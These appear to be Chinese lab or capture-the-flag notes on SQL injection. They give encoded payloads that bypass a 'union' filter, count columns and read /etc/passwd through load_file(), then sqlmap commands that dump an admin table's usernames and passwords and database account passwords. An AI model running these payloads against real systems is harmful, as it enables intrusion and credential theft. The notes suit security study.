1、考慮閉合:單引號 --> %27 空格-->%20 井號--> %23 ; 構造閉合函數 %27teacher%23
2、判斷過濾內容:union --> uniunionon ; 聯合查詢過濾,再un后再加union ;
3、判斷列數,使用Union 語法,union 后邊語句要與前邊已經執行的語句列數相同。
%27/**/ununionion/**/select/**/1/**/%23 判斷是否為1列,返回值為錯誤,空
%27/**/ununionion/**/select/**/1,2/**/%23 判斷是否為2列 返回值為正常,則union之前的查詢語句為兩列
4、id=-1 讓前邊的select 語句執行輸出無內容,再往后執行union語句,打印相關文件內容。
使用load_file(‘/etc/passwd’)
%27/**/ununionion/**/select/**/1,load_file("/etc/passwd")/**/%23
5、或者使用sqlmap -u "url" --tamper "space2comment.py, space2hash.py"
6、SQLMAP用法:
(1)判斷庫:當前庫在第一行 當前是article
sqlmap.py -u "url" --dbs
(2)判斷表名:
sqlmap.py -u "url" --dbs -D article (表名) --tables
(3)判斷列名:
sqlmap.py -u "url" --dbs -D article (表名) -T admin --columns
(4)判斷值:
sqlmap.py -u "url" --dbs -D article (表名) -T admin -C username, password --dump
(5)判斷數據連接用戶的密碼:sa
sqlmap.py -u "url" --passwords 找到連接密碼 用 nvicat連接。